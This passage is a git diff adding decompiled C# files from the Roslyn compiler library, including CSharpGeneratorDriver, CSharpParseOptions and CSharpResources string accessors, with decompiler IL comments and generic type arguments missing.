CSharpSemanticModel)?.GetDeclaredSymbol(queryClause, cancellationToken); + } + + public static IRangeVariableSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(node, cancellationToken); + } + + public static IRangeVariableSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.QueryContinuationSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(node, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpFileSystemExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpFileSystemExtensions.cs new file mode 100644 index 0000000..5bbec53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpFileSystemExtensions.cs @@ -0,0 +1,13 @@ +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class CSharpFileSystemExtensions +{ + public static EmitResult Emit(this CSharpCompilation compilation, string outputPath, string? pdbPath = null, string? xmlDocumentationPath = null, string? win32ResourcesPath = null, IEnumerable? manifestResources = null, CancellationToken cancellationToken = default(CancellationToken)) + { + return FileSystemExtensions.Emit((Compilation)(object)compilation, outputPath, pdbPath, xmlDocumentationPath, win32ResourcesPath, manifestResources, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpGeneratorDriver.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpGeneratorDriver.cs new file mode 100644 index 0000000..3ab909a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpGeneratorDriver.cs @@ -0,0 +1,69 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +public sealed class CSharpGeneratorDriver : GeneratorDriver +{ + internal override CommonMessageProvider MessageProvider => (CommonMessageProvider)(object)Microsoft.CodeAnalysis.CSharp.MessageProvider.Instance; + + internal override string SourceExtension => ".cs"; + + internal override ISyntaxHelper SyntaxHelper => CSharpSyntaxHelper.Instance; + + internal CSharpGeneratorDriver(CSharpParseOptions parseOptions, ImmutableArray generators, AnalyzerConfigOptionsProvider optionsProvider, ImmutableArray additionalTexts, GeneratorDriverOptions driverOptions) + : base((ParseOptions)(object)parseOptions, generators, optionsProvider, additionalTexts, driverOptions) + { + }//IL_0006: Unknown result type (might be due to invalid IL or missing references) + + + private CSharpGeneratorDriver(GeneratorDriverState state) + : base(state) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + + + public static CSharpGeneratorDriver Create(params ISourceGenerator[] generators) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return Create((IEnumerable)generators, (IEnumerable?)null, (CSharpParseOptions?)null, (AnalyzerConfigOptionsProvider?)null, default(GeneratorDriverOptions)); + } + + public static CSharpGeneratorDriver Create(params IIncrementalGenerator[] incrementalGenerators) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return Create(((IEnumerable)incrementalGenerators).Select((Func)GeneratorExtensions.AsSourceGenerator)); + } + + public static CSharpGeneratorDriver Create(IEnumerable generators, IEnumerable? additionalTexts = null, CSharpParseOptions? parseOptions = null, AnalyzerConfigOptionsProvider? optionsProvider = null, GeneratorDriverOptions driverOptions = default(GeneratorDriverOptions)) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return new CSharpGeneratorDriver(parseOptions ?? CSharpParseOptions.Default, generators.ToImmutableArray(), (AnalyzerConfigOptionsProvider)(((object)optionsProvider) ?? ((object)CompilerAnalyzerConfigOptionsProvider.Empty)), ImmutableArrayExtensions.AsImmutableOrEmpty(additionalTexts), driverOptions); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public static CSharpGeneratorDriver Create(IEnumerable generators, IEnumerable? additionalTexts, CSharpParseOptions? parseOptions, AnalyzerConfigOptionsProvider? optionsProvider) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return Create(generators, additionalTexts, parseOptions, optionsProvider, default(GeneratorDriverOptions)); + } + + internal override SyntaxTree ParseGeneratedSourceText(GeneratedSourceText input, string fileName, CancellationToken cancellationToken) + { + return CSharpSyntaxTree.ParseTextLazy(((GeneratedSourceText)(ref input)).Text, (CSharpParseOptions)(object)base._state.ParseOptions, fileName); + } + + internal override GeneratorDriver FromState(GeneratorDriverState state) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return (GeneratorDriver)(object)new CSharpGeneratorDriver(state); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpParseOptions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpParseOptions.cs new file mode 100644 index 0000000..6740732 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpParseOptions.cs @@ -0,0 +1,229 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public sealed class CSharpParseOptions : ParseOptions, IEquatable +{ + private ImmutableDictionary _features; + + private ImmutableArray> _interceptorsPreviewNamespaces; + + public static CSharpParseOptions Default { get; } = new CSharpParseOptions(LanguageVersion.Default, (DocumentationMode)1, (SourceCodeKind)0); + + public LanguageVersion LanguageVersion { get; private set; } + + public LanguageVersion SpecifiedLanguageVersion { get; private set; } + + internal ImmutableArray PreprocessorSymbols { get; private set; } + + public override IEnumerable PreprocessorSymbolNames => PreprocessorSymbols; + + public override string Language => "C#"; + + public override IReadOnlyDictionary Features => _features; + + internal ImmutableArray> InterceptorsPreviewNamespaces + { + get + { + if (!_interceptorsPreviewNamespaces.IsDefault) + { + return _interceptorsPreviewNamespaces; + } + string value; + ImmutableArray> immutableArray = ((!((ParseOptions)this).Features.TryGetValue("InterceptorsPreviewNamespaces", out value)) ? ImmutableArray>.Empty : EnumerableExtensions.SelectAsArray>((IReadOnlyCollection)value.Split(new char[1] { ';' }), (Func>)((string segment) => ((IEnumerable)segment.Split(new char[1] { '.' })).ToImmutableArray()))); + ImmutableInterlocked.InterlockedInitialize>(ref _interceptorsPreviewNamespaces, immutableArray); + return immutableArray; + } + } + + public CSharpParseOptions(LanguageVersion languageVersion = LanguageVersion.Default, DocumentationMode documentationMode = (DocumentationMode)1, SourceCodeKind kind = (SourceCodeKind)0, IEnumerable? preprocessorSymbols = null) + : this(languageVersion, documentationMode, kind, EnumerableExtensions.ToImmutableArrayOrEmpty(preprocessorSymbols), ImmutableDictionary.Empty) + { + }//IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + + + internal CSharpParseOptions(LanguageVersion languageVersion, DocumentationMode documentationMode, SourceCodeKind kind, ImmutableArray preprocessorSymbols, IReadOnlyDictionary? features) + : base(kind, documentationMode) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + SpecifiedLanguageVersion = languageVersion; + LanguageVersion = languageVersion.MapSpecifiedToEffectiveVersion(); + PreprocessorSymbols = EnumerableExtensions.ToImmutableArrayOrEmpty((IEnumerable)preprocessorSymbols); + _features = features?.ToImmutableDictionary() ?? ImmutableDictionary.Empty; + } + + private CSharpParseOptions(CSharpParseOptions other) + : this(other.SpecifiedLanguageVersion, ((ParseOptions)other).DocumentationMode, ((ParseOptions)other).Kind, other.PreprocessorSymbols, ((ParseOptions)other).Features) + { + }//IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + + + public CSharpParseOptions WithKind(SourceCodeKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (kind == ((ParseOptions)this).SpecifiedKind) + { + return this; + } + SourceCodeKind kind2 = SourceCodeKindExtensions.MapSpecifiedToEffectiveKind(kind); + CSharpParseOptions cSharpParseOptions = new CSharpParseOptions(this); + ((ParseOptions)cSharpParseOptions).SpecifiedKind = kind; + ((ParseOptions)cSharpParseOptions).Kind = kind2; + return cSharpParseOptions; + } + + public CSharpParseOptions WithLanguageVersion(LanguageVersion version) + { + if (version == SpecifiedLanguageVersion) + { + return this; + } + LanguageVersion languageVersion = version.MapSpecifiedToEffectiveVersion(); + return new CSharpParseOptions(this) + { + SpecifiedLanguageVersion = version, + LanguageVersion = languageVersion + }; + } + + public CSharpParseOptions WithPreprocessorSymbols(IEnumerable? preprocessorSymbols) + { + return WithPreprocessorSymbols(ImmutableArrayExtensions.AsImmutableOrNull(preprocessorSymbols)); + } + + public CSharpParseOptions WithPreprocessorSymbols(params string[]? preprocessorSymbols) + { + return WithPreprocessorSymbols(ImmutableArrayExtensions.AsImmutableOrNull(preprocessorSymbols)); + } + + public CSharpParseOptions WithPreprocessorSymbols(ImmutableArray symbols) + { + if (symbols.IsDefault) + { + symbols = ImmutableArray.Empty; + } + if (symbols.Equals(PreprocessorSymbols)) + { + return this; + } + return new CSharpParseOptions(this) + { + PreprocessorSymbols = symbols + }; + } + + public CSharpParseOptions WithDocumentationMode(DocumentationMode documentationMode) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (documentationMode == ((ParseOptions)this).DocumentationMode) + { + return this; + } + CSharpParseOptions cSharpParseOptions = new CSharpParseOptions(this); + ((ParseOptions)cSharpParseOptions).DocumentationMode = documentationMode; + return cSharpParseOptions; + } + + public override ParseOptions CommonWithKind(SourceCodeKind kind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ParseOptions)(object)WithKind(kind); + } + + protected override ParseOptions CommonWithDocumentationMode(DocumentationMode documentationMode) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ParseOptions)(object)WithDocumentationMode(documentationMode); + } + + protected override ParseOptions CommonWithFeatures(IEnumerable>? features) + { + return (ParseOptions)(object)WithFeatures(features); + } + + public CSharpParseOptions WithFeatures(IEnumerable>? features) + { + ImmutableDictionary features2 = features?.ToImmutableDictionary(StringComparer.OrdinalIgnoreCase) ?? ImmutableDictionary.Empty; + return new CSharpParseOptions(this) + { + _features = features2 + }; + } + + internal override void ValidateOptions(ArrayBuilder builder) + { + ((ParseOptions)this).ValidateOptions(builder, (CommonMessageProvider)(object)MessageProvider.Instance); + if (!LanguageVersion.IsValid()) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 8192, new object[1] { LanguageVersion.ToString() })); + } + if (PreprocessorSymbols.IsDefaultOrEmpty) + { + return; + } + ImmutableArray.Enumerator enumerator = PreprocessorSymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (current == null) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 8301, new object[1] { "null" })); + } + else if (!SyntaxFacts.IsValidIdentifier(current)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 8301, new object[1] { current })); + } + } + } + + internal bool IsFeatureEnabled(MessageID feature) + { + string text = feature.RequiredFeature(); + if (text != null) + { + return ((ParseOptions)this).Features.ContainsKey(text); + } + LanguageVersion languageVersion = LanguageVersion; + LanguageVersion languageVersion2 = feature.RequiredVersion(); + return languageVersion >= languageVersion2; + } + + public override bool Equals(object? obj) + { + return Equals(obj as CSharpParseOptions); + } + + public bool Equals(CSharpParseOptions? other) + { + if (this == other) + { + return true; + } + if (!((ParseOptions)this).EqualsHelper((ParseOptions)(object)other)) + { + return false; + } + return SpecifiedLanguageVersion == other.SpecifiedLanguageVersion; + } + + public override int GetHashCode() + { + return Hash.Combine(((ParseOptions)this).GetHashCodeHelper(), Hash.Combine((int)SpecifiedLanguageVersion, 0)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpRequiredLanguageVersion.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpRequiredLanguageVersion.cs new file mode 100644 index 0000000..c4fbff8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpRequiredLanguageVersion.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal class CSharpRequiredLanguageVersion : RequiredLanguageVersion +{ + internal LanguageVersion Version { get; } + + internal CSharpRequiredLanguageVersion(LanguageVersion version) + { + Version = version; + } + + public override string ToString() + { + return Version.ToDisplayString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpResources.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpResources.cs new file mode 100644 index 0000000..8c5485d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpResources.cs @@ -0,0 +1,5014 @@ +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class CSharpResources +{ + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(CSharpResources))); + + internal static CultureInfo Culture { get; set; } + + internal static string IDS_NULL => GetResourceString("IDS_NULL"); + + internal static string IDS_ThrowExpression => GetResourceString("IDS_ThrowExpression"); + + internal static string IDS_FeatureSwitchExpression => GetResourceString("IDS_FeatureSwitchExpression"); + + internal static string IDS_FeatureLocalFunctionAttributes => GetResourceString("IDS_FeatureLocalFunctionAttributes"); + + internal static string IDS_FeatureExternLocalFunctions => GetResourceString("IDS_FeatureExternLocalFunctions"); + + internal static string IDS_RELATEDERROR => GetResourceString("IDS_RELATEDERROR"); + + internal static string IDS_RELATEDWARNING => GetResourceString("IDS_RELATEDWARNING"); + + internal static string IDS_XMLIGNORED => GetResourceString("IDS_XMLIGNORED"); + + internal static string IDS_XMLIGNORED2 => GetResourceString("IDS_XMLIGNORED2"); + + internal static string IDS_XMLFAILEDINCLUDE => GetResourceString("IDS_XMLFAILEDINCLUDE"); + + internal static string IDS_XMLBADINCLUDE => GetResourceString("IDS_XMLBADINCLUDE"); + + internal static string IDS_XMLNOINCLUDE => GetResourceString("IDS_XMLNOINCLUDE"); + + internal static string IDS_XMLMISSINGINCLUDEFILE => GetResourceString("IDS_XMLMISSINGINCLUDEFILE"); + + internal static string IDS_XMLMISSINGINCLUDEPATH => GetResourceString("IDS_XMLMISSINGINCLUDEPATH"); + + internal static string IDS_Missing => GetResourceString("IDS_Missing"); + + internal static string IDS_GlobalNamespace => GetResourceString("IDS_GlobalNamespace"); + + internal static string IDS_FeatureGenerics => GetResourceString("IDS_FeatureGenerics"); + + internal static string IDS_FeatureAnonDelegates => GetResourceString("IDS_FeatureAnonDelegates"); + + internal static string IDS_FeatureModuleAttrLoc => GetResourceString("IDS_FeatureModuleAttrLoc"); + + internal static string IDS_FeatureGlobalNamespace => GetResourceString("IDS_FeatureGlobalNamespace"); + + internal static string IDS_FeatureFixedBuffer => GetResourceString("IDS_FeatureFixedBuffer"); + + internal static string IDS_FeaturePragma => GetResourceString("IDS_FeaturePragma"); + + internal static string IDS_FeatureStaticClasses => GetResourceString("IDS_FeatureStaticClasses"); + + internal static string IDS_FeatureReadOnlyStructs => GetResourceString("IDS_FeatureReadOnlyStructs"); + + internal static string IDS_FeaturePartialTypes => GetResourceString("IDS_FeaturePartialTypes"); + + internal static string IDS_FeatureAsync => GetResourceString("IDS_FeatureAsync"); + + internal static string IDS_FeatureSwitchOnBool => GetResourceString("IDS_FeatureSwitchOnBool"); + + internal static string IDS_MethodGroup => GetResourceString("IDS_MethodGroup"); + + internal static string IDS_AnonMethod => GetResourceString("IDS_AnonMethod"); + + internal static string IDS_Lambda => GetResourceString("IDS_Lambda"); + + internal static string IDS_Collection => GetResourceString("IDS_Collection"); + + internal static string IDS_Disposable => GetResourceString("IDS_Disposable"); + + internal static string IDS_FeaturePropertyAccessorMods => GetResourceString("IDS_FeaturePropertyAccessorMods"); + + internal static string IDS_FeatureExternAlias => GetResourceString("IDS_FeatureExternAlias"); + + internal static string IDS_FeatureIterators => GetResourceString("IDS_FeatureIterators"); + + internal static string IDS_FeatureDefault => GetResourceString("IDS_FeatureDefault"); + + internal static string IDS_FeatureAsyncStreams => GetResourceString("IDS_FeatureAsyncStreams"); + + internal static string IDS_FeatureUnmanagedConstructedTypes => GetResourceString("IDS_FeatureUnmanagedConstructedTypes"); + + internal static string IDS_FeatureReadOnlyMembers => GetResourceString("IDS_FeatureReadOnlyMembers"); + + internal static string IDS_FeatureDefaultLiteral => GetResourceString("IDS_FeatureDefaultLiteral"); + + internal static string IDS_FeaturePrivateProtected => GetResourceString("IDS_FeaturePrivateProtected"); + + internal static string IDS_FeatureTupleEquality => GetResourceString("IDS_FeatureTupleEquality"); + + internal static string IDS_FeatureNullable => GetResourceString("IDS_FeatureNullable"); + + internal static string IDS_FeaturePatternMatching => GetResourceString("IDS_FeaturePatternMatching"); + + internal static string IDS_FeatureExpressionBodiedAccessor => GetResourceString("IDS_FeatureExpressionBodiedAccessor"); + + internal static string IDS_FeatureExpressionBodiedDeOrConstructor => GetResourceString("IDS_FeatureExpressionBodiedDeOrConstructor"); + + internal static string IDS_FeatureThrowExpression => GetResourceString("IDS_FeatureThrowExpression"); + + internal static string IDS_FeatureImplicitArray => GetResourceString("IDS_FeatureImplicitArray"); + + internal static string IDS_FeatureImplicitLocal => GetResourceString("IDS_FeatureImplicitLocal"); + + internal static string IDS_FeatureAnonymousTypes => GetResourceString("IDS_FeatureAnonymousTypes"); + + internal static string IDS_FeatureAutoImplementedProperties => GetResourceString("IDS_FeatureAutoImplementedProperties"); + + internal static string IDS_FeatureReadonlyAutoImplementedProperties => GetResourceString("IDS_FeatureReadonlyAutoImplementedProperties"); + + internal static string IDS_FeatureObjectInitializer => GetResourceString("IDS_FeatureObjectInitializer"); + + internal static string IDS_FeatureCollectionInitializer => GetResourceString("IDS_FeatureCollectionInitializer"); + + internal static string IDS_FeatureQueryExpression => GetResourceString("IDS_FeatureQueryExpression"); + + internal static string IDS_FeatureExtensionMethod => GetResourceString("IDS_FeatureExtensionMethod"); + + internal static string IDS_FeaturePartialMethod => GetResourceString("IDS_FeaturePartialMethod"); + + internal static string IDS_SK_METHOD => GetResourceString("IDS_SK_METHOD"); + + internal static string IDS_SK_TYPE => GetResourceString("IDS_SK_TYPE"); + + internal static string IDS_SK_NAMESPACE => GetResourceString("IDS_SK_NAMESPACE"); + + internal static string IDS_SK_FIELD => GetResourceString("IDS_SK_FIELD"); + + internal static string IDS_SK_PROPERTY => GetResourceString("IDS_SK_PROPERTY"); + + internal static string IDS_SK_UNKNOWN => GetResourceString("IDS_SK_UNKNOWN"); + + internal static string IDS_SK_VARIABLE => GetResourceString("IDS_SK_VARIABLE"); + + internal static string IDS_SK_LABEL => GetResourceString("IDS_SK_LABEL"); + + internal static string IDS_SK_EVENT => GetResourceString("IDS_SK_EVENT"); + + internal static string IDS_SK_TYVAR => GetResourceString("IDS_SK_TYVAR"); + + internal static string IDS_SK_ARRAY => GetResourceString("IDS_SK_ARRAY"); + + internal static string IDS_SK_POINTER => GetResourceString("IDS_SK_POINTER"); + + internal static string IDS_SK_FUNCTION_POINTER => GetResourceString("IDS_SK_FUNCTION_POINTER"); + + internal static string IDS_SK_DYNAMIC => GetResourceString("IDS_SK_DYNAMIC"); + + internal static string IDS_SK_ALIAS => GetResourceString("IDS_SK_ALIAS"); + + internal static string IDS_SK_EXTERNALIAS => GetResourceString("IDS_SK_EXTERNALIAS"); + + internal static string IDS_SK_CONSTRUCTOR => GetResourceString("IDS_SK_CONSTRUCTOR"); + + internal static string IDS_FOREACHLOCAL => GetResourceString("IDS_FOREACHLOCAL"); + + internal static string IDS_FIXEDLOCAL => GetResourceString("IDS_FIXEDLOCAL"); + + internal static string IDS_USINGLOCAL => GetResourceString("IDS_USINGLOCAL"); + + internal static string IDS_Contravariant => GetResourceString("IDS_Contravariant"); + + internal static string IDS_Contravariantly => GetResourceString("IDS_Contravariantly"); + + internal static string IDS_Covariant => GetResourceString("IDS_Covariant"); + + internal static string IDS_Covariantly => GetResourceString("IDS_Covariantly"); + + internal static string IDS_Invariantly => GetResourceString("IDS_Invariantly"); + + internal static string IDS_FeatureDynamic => GetResourceString("IDS_FeatureDynamic"); + + internal static string IDS_FeatureNamedArgument => GetResourceString("IDS_FeatureNamedArgument"); + + internal static string IDS_FeatureOptionalParameter => GetResourceString("IDS_FeatureOptionalParameter"); + + internal static string IDS_FeatureExceptionFilter => GetResourceString("IDS_FeatureExceptionFilter"); + + internal static string IDS_FeatureTypeVariance => GetResourceString("IDS_FeatureTypeVariance"); + + internal static string IDS_Parameter => GetResourceString("IDS_Parameter"); + + internal static string IDS_Return => GetResourceString("IDS_Return"); + + internal static string XML_InvalidToken => GetResourceString("XML_InvalidToken"); + + internal static string XML_IncorrectComment => GetResourceString("XML_IncorrectComment"); + + internal static string XML_InvalidCharEntity => GetResourceString("XML_InvalidCharEntity"); + + internal static string XML_ExpectedEndOfTag => GetResourceString("XML_ExpectedEndOfTag"); + + internal static string XML_ExpectedIdentifier => GetResourceString("XML_ExpectedIdentifier"); + + internal static string XML_InvalidUnicodeChar => GetResourceString("XML_InvalidUnicodeChar"); + + internal static string XML_InvalidWhitespace => GetResourceString("XML_InvalidWhitespace"); + + internal static string XML_LessThanInAttributeValue => GetResourceString("XML_LessThanInAttributeValue"); + + internal static string XML_MissingEqualsAttribute => GetResourceString("XML_MissingEqualsAttribute"); + + internal static string XML_RefUndefinedEntity_1 => GetResourceString("XML_RefUndefinedEntity_1"); + + internal static string XML_StringLiteralNoStartQuote => GetResourceString("XML_StringLiteralNoStartQuote"); + + internal static string XML_StringLiteralNoEndQuote => GetResourceString("XML_StringLiteralNoEndQuote"); + + internal static string XML_StringLiteralNonAsciiQuote => GetResourceString("XML_StringLiteralNonAsciiQuote"); + + internal static string XML_EndTagNotExpected => GetResourceString("XML_EndTagNotExpected"); + + internal static string XML_ElementTypeMatch => GetResourceString("XML_ElementTypeMatch"); + + internal static string XML_EndTagExpected => GetResourceString("XML_EndTagExpected"); + + internal static string XML_WhitespaceMissing => GetResourceString("XML_WhitespaceMissing"); + + internal static string XML_ExpectedEndOfXml => GetResourceString("XML_ExpectedEndOfXml"); + + internal static string XML_CDataEndTagNotAllowed => GetResourceString("XML_CDataEndTagNotAllowed"); + + internal static string XML_DuplicateAttribute => GetResourceString("XML_DuplicateAttribute"); + + internal static string ERR_NoMetadataFile => GetResourceString("ERR_NoMetadataFile"); + + internal static string ERR_MetadataReferencesNotSupported => GetResourceString("ERR_MetadataReferencesNotSupported"); + + internal static string FTL_MetadataCantOpenFile => GetResourceString("FTL_MetadataCantOpenFile"); + + internal static string ERR_NoTypeDef => GetResourceString("ERR_NoTypeDef"); + + internal static string ERR_NoTypeDefFromModule => GetResourceString("ERR_NoTypeDefFromModule"); + + internal static string ERR_OutputWriteFailed => GetResourceString("ERR_OutputWriteFailed"); + + internal static string ERR_MultipleEntryPoints => GetResourceString("ERR_MultipleEntryPoints"); + + internal static string ERR_BadBinaryOps => GetResourceString("ERR_BadBinaryOps"); + + internal static string ERR_AmbigBinaryOpsOnUnconstrainedDefault => GetResourceString("ERR_AmbigBinaryOpsOnUnconstrainedDefault"); + + internal static string ERR_IntDivByZero => GetResourceString("ERR_IntDivByZero"); + + internal static string ERR_BadIndexLHS => GetResourceString("ERR_BadIndexLHS"); + + internal static string ERR_BadIndexCount => GetResourceString("ERR_BadIndexCount"); + + internal static string ERR_BadUnaryOp => GetResourceString("ERR_BadUnaryOp"); + + internal static string ERR_BadOpOnNullOrDefaultOrNew => GetResourceString("ERR_BadOpOnNullOrDefaultOrNew"); + + internal static string ERR_ThisInStaticMeth => GetResourceString("ERR_ThisInStaticMeth"); + + internal static string ERR_ThisInBadContext => GetResourceString("ERR_ThisInBadContext"); + + internal static string ERR_OmittedTypeArgument => GetResourceString("ERR_OmittedTypeArgument"); + + internal static string WRN_InvalidMainSig => GetResourceString("WRN_InvalidMainSig"); + + internal static string WRN_InvalidMainSig_Title => GetResourceString("WRN_InvalidMainSig_Title"); + + internal static string ERR_NoImplicitConv => GetResourceString("ERR_NoImplicitConv"); + + internal static string ERR_NoExplicitConv => GetResourceString("ERR_NoExplicitConv"); + + internal static string ERR_ConstOutOfRange => GetResourceString("ERR_ConstOutOfRange"); + + internal static string ERR_AmbigBinaryOps => GetResourceString("ERR_AmbigBinaryOps"); + + internal static string ERR_AmbigBinaryOpsOnDefault => GetResourceString("ERR_AmbigBinaryOpsOnDefault"); + + internal static string ERR_AmbigUnaryOp => GetResourceString("ERR_AmbigUnaryOp"); + + internal static string ERR_InAttrOnOutParam => GetResourceString("ERR_InAttrOnOutParam"); + + internal static string ERR_ValueCantBeNull => GetResourceString("ERR_ValueCantBeNull"); + + internal static string ERR_NoExplicitBuiltinConv => GetResourceString("ERR_NoExplicitBuiltinConv"); + + internal static string FTL_DebugEmitFailure => GetResourceString("FTL_DebugEmitFailure"); + + internal static string ERR_BadVisReturnType => GetResourceString("ERR_BadVisReturnType"); + + internal static string ERR_BadVisParamType => GetResourceString("ERR_BadVisParamType"); + + internal static string ERR_BadVisFieldType => GetResourceString("ERR_BadVisFieldType"); + + internal static string ERR_BadVisPropertyType => GetResourceString("ERR_BadVisPropertyType"); + + internal static string ERR_BadVisIndexerReturn => GetResourceString("ERR_BadVisIndexerReturn"); + + internal static string ERR_BadVisIndexerParam => GetResourceString("ERR_BadVisIndexerParam"); + + internal static string ERR_BadVisOpReturn => GetResourceString("ERR_BadVisOpReturn"); + + internal static string ERR_BadVisOpParam => GetResourceString("ERR_BadVisOpParam"); + + internal static string ERR_BadVisDelegateReturn => GetResourceString("ERR_BadVisDelegateReturn"); + + internal static string ERR_BadVisDelegateParam => GetResourceString("ERR_BadVisDelegateParam"); + + internal static string ERR_BadVisBaseClass => GetResourceString("ERR_BadVisBaseClass"); + + internal static string ERR_BadVisBaseInterface => GetResourceString("ERR_BadVisBaseInterface"); + + internal static string ERR_EventNeedsBothAccessors => GetResourceString("ERR_EventNeedsBothAccessors"); + + internal static string ERR_AbstractEventHasAccessors => GetResourceString("ERR_AbstractEventHasAccessors"); + + internal static string ERR_EventNotDelegate => GetResourceString("ERR_EventNotDelegate"); + + internal static string WRN_UnreferencedEvent => GetResourceString("WRN_UnreferencedEvent"); + + internal static string WRN_UnreferencedEvent_Title => GetResourceString("WRN_UnreferencedEvent_Title"); + + internal static string ERR_InterfaceEventInitializer => GetResourceString("ERR_InterfaceEventInitializer"); + + internal static string ERR_BadEventUsage => GetResourceString("ERR_BadEventUsage"); + + internal static string ERR_ExplicitEventFieldImpl => GetResourceString("ERR_ExplicitEventFieldImpl"); + + internal static string ERR_CantOverrideNonEvent => GetResourceString("ERR_CantOverrideNonEvent"); + + internal static string ERR_AddRemoveMustHaveBody => GetResourceString("ERR_AddRemoveMustHaveBody"); + + internal static string ERR_AbstractEventInitializer => GetResourceString("ERR_AbstractEventInitializer"); + + internal static string ERR_ReservedAssemblyName => GetResourceString("ERR_ReservedAssemblyName"); + + internal static string ERR_ReservedEnumerator => GetResourceString("ERR_ReservedEnumerator"); + + internal static string ERR_AsMustHaveReferenceType => GetResourceString("ERR_AsMustHaveReferenceType"); + + internal static string WRN_LowercaseEllSuffix => GetResourceString("WRN_LowercaseEllSuffix"); + + internal static string WRN_LowercaseEllSuffix_Title => GetResourceString("WRN_LowercaseEllSuffix_Title"); + + internal static string ERR_BadEventUsageNoField => GetResourceString("ERR_BadEventUsageNoField"); + + internal static string ERR_ConstraintOnlyAllowedOnGenericDecl => GetResourceString("ERR_ConstraintOnlyAllowedOnGenericDecl"); + + internal static string ERR_TypeParamMustBeIdentifier => GetResourceString("ERR_TypeParamMustBeIdentifier"); + + internal static string ERR_MemberReserved => GetResourceString("ERR_MemberReserved"); + + internal static string ERR_DuplicateParamName => GetResourceString("ERR_DuplicateParamName"); + + internal static string ERR_DuplicateNameInNS => GetResourceString("ERR_DuplicateNameInNS"); + + internal static string ERR_DuplicateNameInClass => GetResourceString("ERR_DuplicateNameInClass"); + + internal static string ERR_NameNotInContext => GetResourceString("ERR_NameNotInContext"); + + internal static string ERR_NameNotInContextPossibleMissingReference => 